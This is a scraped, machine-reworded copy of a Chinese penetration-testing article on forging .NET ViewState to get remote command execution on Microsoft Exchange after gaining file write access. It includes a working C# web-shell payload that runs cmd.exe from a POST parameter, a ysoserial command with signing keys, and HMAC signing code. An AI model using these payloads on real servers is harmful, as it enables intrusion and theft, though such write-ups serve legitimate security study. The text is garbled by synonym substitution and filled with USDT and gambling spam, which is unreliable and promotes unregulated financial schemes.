U交所(www.payusdt.vip)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。
0x00 前言
在上篇文章《渗透技巧——从Exchange文件读写权限到下令执行》先容了通过.Net反序列化ViewState从Exchange文件读写权限到下令执行的方式,分享了三种行使剧本的开发细节,本文将要详细剖析天生ViewState的细节,先容另外一种实现从Exchange文件读写权限到下令执行的剧本开发细节。
参考资料:
http://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html
https://github.com/pwntester/ysoserial.net
0x01 简介
本文将要先容以下内容:
· 两种天生ViewState的实现方式
· 另外一种行使剧本开发的细节
· 开源代码
0x02 靠山知识
1.DotNet反序列化ViewState的实现原理
若是能够读取web.config的文件内容,获得其中的加密密钥和算法,就能够组织出有用的序列化数据。若是将序列化数据设置成恶意委托,那么在ViewState使用ObjectStateFormatter举行反序列化挪用委托时,就能实现远程代码执行。
2.ViewState的天生流程
使用validationkey和generator作为参数,对序列化xaml数据举行署名,并放在序列化xaml数据后,作Base64编码后组成最终的ViewStaten内容
直观明白:
data = Serialize(xaml) ViewState = data + (data+generator).ComputeHash(validationKey) ViewState = Base64(ViewState)
加密细节可参考:
https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs,L255
https://github.com/0xacb/viewgen/blob/master/viewgen,L156
详细细节可使用dnSpy反编译System.Web.dll,找到System.Web.Configuration.MachineKeySection的GetEncodedData函数
0x03 两种天生ViewState的实现方式
测试环境:
获得了Exchange文件读写权限,能够修改和%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\web.config,设置machineKey的内容如下:
对于这两个位置的.Net反序列化下令执行,不再需要正当用户的凭证
下面先容两种天生ViewState的程序实现方式
1.从xaml数据天生ViewState
流程如下:
1. 组织xaml数据
2. 天生序列化xaml数据
3. 天生署名数据
4. 拼接序列化xaml数据和署名数据后作Base64编码
(1)组织xaml数据
这里先容4种,划分对应4个功效
执行下令:
写文件:
注:需要注重xaml的转义字符。
设置Header:
设置Response:
,,U交所(www.payusdt.vip),全球頂尖的USDT場外擔保交易平臺。
(2)天生序列化xaml数据
需要用到Microsoft.PowerShell.Editor.dll
(3)天生署名数据
参考代码:
byte[] validationKey= strToToHexByte(key); uint _clientstateid = 0; // Converting "generator" from HEX to INT if(!uint.TryParse(generator, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out _clientstateid)) System.Environment.Exit(0); byte[] _mackey = new byte[4]; _mackey[0] = (byte)_clientstateid; _mackey[1] = (byte)(_clientstateid >> 8); _mackey[2] = (byte)(_clientstateid >> 16); _mackey[3] = (byte)(_clientstateid >> 24); ms = new MemoryStream(); ms.Write(data,0,data.Length); ms.Write(_mackey,0,_mackey.Length); byte[] hash=(new HMACSHA1(validationKey)).ComputeHash(ms.ToArray());
注:代码修改自https://github.com/zcgonvh/CVE-2020-0688/blob/master/ExchangeCmd.cs,L253
(4)拼接序列化xaml数据和署名数据后作Base64编码
挪用Convert.ToBase64String()即可。
完整的实现代码已上传至github,地址如下:
https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/XamlToViewState.cs
代码能够读取xaml文件,使用validationkey和generator盘算署名,天生最终的ViewState。
优点:流程清晰,便于调试和修改细节。
瑕玷:需要依赖中央文件Microsoft.PowerShell.Editor.dll,占用空间。
注:
该方式的完整行使文件已打包上传至github,地址如下:
https://github.com/3gstudent/test/blob/master/XamlToViewState.zip
2.从序列化xaml数据天生ViewState
借助ysoserial.net跳过从xaml数据到序列化xaml数据的环节,提高开发效率。
流程如下:
(1)修改ysoserial.net源码,直接读取可用的序列化xaml数据
在https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs,L209添加如下代码:
Console.WriteLine(payloadString); Console.WriteLine("The content above is what we need"); Console.WriteLine("-----------");
能够在控制台输出Base64编码的序列化xaml数据。
编译ysoserial.net,天生ysoserial.exe,在同级目录新建shellPayload.cs,内容如下:
class E { static string xor(string s) { char[] a = s.ToCharArray(); for(int i = 0; i < a.Length; i++) a[i] = (char)(a[i] ^ 'x'); return new string(a); } public E() { System.Web.HttpContext context = System.Web.HttpContext.Current; context.Server.ClearError(); context.Response.Clear(); try { System.Diagnostics.Process process = new System.Diagnostics.Process(); process.StartInfo.FileName = "cmd.exe"; string cmd = context.Request.Form["__Value"]; cmd = xor(cmd); process.StartInfo.Arguments = "/c " + cmd; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.RedirectStandardError = true; process.StartInfo.UseShellExecute = false; process.Start(); string output = process.StandardOutput.ReadToEnd(); output = xor(output); context.Response.Write(output); } catch (System.Exception) { } context.Response.Flush(); context.Response.End(); } }
使用ysoserial.exe天生ViewState,下令如下:
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "shellPayload.cs;System.Web.dll;System.dll;" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="042A94E8"
从输出中获得Base64编码的序列化xaml数据。
(2)盘算序列化xaml数据的署名,天生最终的ViewState数据
代码如下:
static string CreateViewState(byte[] dat,string generator,string key) { MemoryStream ms = new MemoryStream(); byte[] validationKey= strToHexByte(key); uint _clientstateid = 0; if(!uint.TryParse(generator, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out _clientstateid)) { System.Environment.Exit(0); } byte[] _mackey = new byte[4]; _mackey[0] = (byte)_clientstateid; _mackey[1] = (byte)(_clientstateid >> 8); _mackey[2] = (byte)(_clientstateid >> 16); _mackey[3] = (byte)(_clientstateid >> 24); ms = new MemoryStream(); ms.Write(dat,0,dat.Length); ms.Write(_mackey,0,_mackey.Length); byte[] hash=(new HMACSHA1(validationKey)).ComputeHash(ms.ToArray()); ms=new MemoryStream(); ms.Write(dat,0,dat.Length); ms.Write(hash,0,hash.Length); return Convert.ToBase64String(ms.ToArray()); }
完整的实现代码已上传至github,地址如下:
https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SerializeXamlToViewState.cs
代码实现了从序列化xaml数据盘算署名,天生最终的ViewState数据。
优点:占用空间更小,可以直接使用ysoserial.net已有的Payload。
瑕玷:调试和修改对照穷苦。
注:以上两种实现方式的CreateViewState()函数在细节上存在区别,需要注重。
0x04 另外一种行使剧本开发的细节
用来实现从Exchange文件读写权限到下令执行。
参照https://github.com/zcgonvh/CVE-2020-0688/blob/master/ExchangeCmd.cs的结构,将序列化xaml数据封装在数组中,使用validationkey和generator作为参数,对序列化xaml数据举行署名,组成最终的ViewState内容。
完整的实现代码已上传至github,地址如下:
https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.cs
代码支持两个位置的反序列化执行,划分为默认存在的文件%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx和%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth\TimeoutLogout.aspx
代码首先发送ysoserial.net实现ActivitySurrogateDisableTypeCheck的数据,接着能够执行下令并获得下令执行的效果,通过POST方式以参数__Value发送数据,通讯数据接纳逐字符异或加密。
支持的功效同ExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.py保持一致。
0x05 小结
本文剖析了天生ViewState的细节,先容了两种天生ViewState的程序实现方式,编写代码实现了另外一种从Exchange文件读写权限到下令执行的行使剧本。
:
网友评论
39条评论皇冠官网手机版
回复IPFS挖矿
放假了使劲看
USDT不用实名交易(www.usdt8.vip)
回复@皇冠官网手机版 从HM的财报上我们可以感受到现在的危急,他们在2020同期盈利到达了25亿瑞典克朗,而2021{年}的同期亏损到达了13.9亿,相当于市场同期亏损高达38.9亿瑞士克朗之多,这样的事态让人忍不住感伤,钱确实欠好赚了!更喜欢这个
新2足球网址
回复新2平台出租(www.hg9988.vip)
回复@新2足球网址 USDT场外交易每天都来啊,快火
皇冠官网手机版
回复aLLbet(www.aLLbetgame.us)
回复@皇冠官网手机版 菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。我没你油菜花,哈哈
www.caibao.it
回复USDT法币交易(www.usdt8.vip)
回复{{作者}}:_Killerack_码字辛苦了
trc20官方交易所(www.usdt8.vip)
回复@USDT法币交易(www.usdt8.vip)
期待期待,听说很好澳洲幸运5彩票开奖网(www.a55555.net)
回复@trc20官方交易所(www.usdt8.vip) 菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。再继续啊
皇冠最新网址(www.22223388.com)
回复皇冠最新登陆网址(www.22223388.com)
回复天色渐晚,女子的脸色愈发焦灼,随着太阳的最后一丝光线消逝,女子的脸色变成了失望。厉害厉害,膜拜你
USDT钱包(www.usdt8.vip)
回复@皇冠最新登陆网址(www.22223388.com) Việc Itaco công bố lại Báo cáo tài chính hợp nhất quý II năm 2022 diễn ra sau khi HOSE đã 3 lần gửi công văn (ngày 10, 16 và 19/8) yêu cầu Itaco giải trình gấp trong vòng 24 giờ về việc điều chỉnh báo cáo tài chính hợp nhất quý II/2022.我和我的小伙伴都喜欢。
澳洲幸运5(www.a55555.net)
回复郭董配偶、贾永婕都在戴的防护面罩! 恬静零存在感
防疫好物抗涨 回馈超值价天哪,我被吸引住了
aLLbet充值提现(www.aLLbetgame.us)
回复还好啦。
USDT充值(www.usdt8.vip)
回复二是第一时间对利星行中央实行封锁治理,对大厦职员开展核酸采样,已采集2975人,均为阴性。同时,对该病例的办公区域和楼宇公共区域环境采样,共计采集280件,279件检测效果为阴性,1例为阳性,系该病例笔记本电脑。 还好,改进一点
UG环球(www.ugbet.us)
回复菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。我真的服
usdt官方交易平台(www.usdt8.vip)
回复Usdt第三方支付接口有趣
USDT支付平台(www.caibao.it)
回复@usdt官方交易平台(www.usdt8.vip) 足球贴士网开始阅读......
ug环球360(www.ugbet.us)
回复<今年>4{月},萧淑慎曾开直播自爆自己罹癌的消息,这让不少网友相当震惊!<历经风雨的两个>人,〖梁轩安〗今(11日)在社群平台上发了一篇贴文:“今天是我们结婚3{周年},这3年我们一起经历了许多,最重要的是我们一起战胜病魔,这3年我有好多好多的感谢!首先你容忍我的一切,谢谢你3<年的陪伴>,《祝我们结》婚3{周年}快乐,只要我在你永远可以当《个任性的女孩》。”太太太舒适了叭
USDT官方交易网(www.usdt8.vip)
回复汹涌新闻记者4月26日注重到,在万方数据平台上能检索到这篇《熟鸡蛋酿成生鸡蛋(鸡蛋返生)-孵化雏鸡的实验讲述》。文章刊发于《写真地理》杂志2020年22期,作者是郑州市春霖职业培训学校校长郭平和河南某医院医生白卫云。 我美了美了美了
新2网址(www.hg9988.vip)
回复照顾护士专业学生在举行实操训练 郑启彦 张学军 摄来来来都来瞧啊
新2代理手机端(www.hg9988.vip)
回复程瑶写挥春送独居老人 超级高级的
usdt钱包官方下载(www.usdt8.vip)
回复菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。很喜欢这个站,啥都有
皇冠APP下载(www.hg9988.vip)
回复值得一提的是,为了吸引更多年轻消费者,三星还可能为 Galaxy S21 FE 新机提供更多的配色选项,并带来加倍年轻的配色。有智慧有想法
皇冠足球信用平台出租(rent.22223388.com)
回复@皇冠APP下载(www.hg9988.vip) 继续更吗
皇冠正网平台出租(rent.22223388.com)
回复新2会员网址回味无穷
皇冠网址大全(www.hg9988.vip)
回复现在一美元可兑换1,130.5韩元,韩元升值0.38%。可以,我反正爱了
新2手机管理端(www.hg9988.vip)
回复菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。感觉时间没被浪费
皇冠线上开户(www.huangguan.us)
回复菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。任谁都喜欢
a55555.net彩票网
回复新春大礼包四:“品味江南文化、品鉴江南年味”新春展览流动加油,只能这么说了
USDT官方交易所(www.usdt8.vip)
回复▼曾国城家是位《wei》于内湖的整栋别墅。(图/曾国城脸书)我只是路过而已~
UG官网下载(www.ugbet.us)
回复矿场主郭利示意,他的收益实际上是逐年降低的,“2015年的时刻一度电至少都有一两毛钱(收益),现在只有4分左右,由于矿场这个行业是币价降的时刻电费一直在降低,币价涨的时刻电费涨不起来了。”朋友都说还可以
新2手机管理端(www.hg9988.vip)
回复2021 年 1 (月),美国证监会宣布将中国三大运营商退市。我觉得通篇都很好
www.a55555.net
回复国指期货现时报11291点,跌17点或0.15%,低水30点,成交3384张。来逛逛了
皇冠APP下载(www.hg9988.vip)
回复鱼塘红包:我要当免费推广!!
登1登2登3代理(www.hg9988.vip)
回复USDT第三方支付API接口
强行安利!
usdt在线交易(www.usdt8.vip)
回复Mới đây, dân mạng không khỏi "trầm trồ" khi Xemesis đã đăng tải bức ảnh kèm theo dòng trạng thái thông báo anh chuẩn bị kinh doanh.很容易懂
新2投注平台出租(www.hg9988.vip)
回复联博接口下笔如有神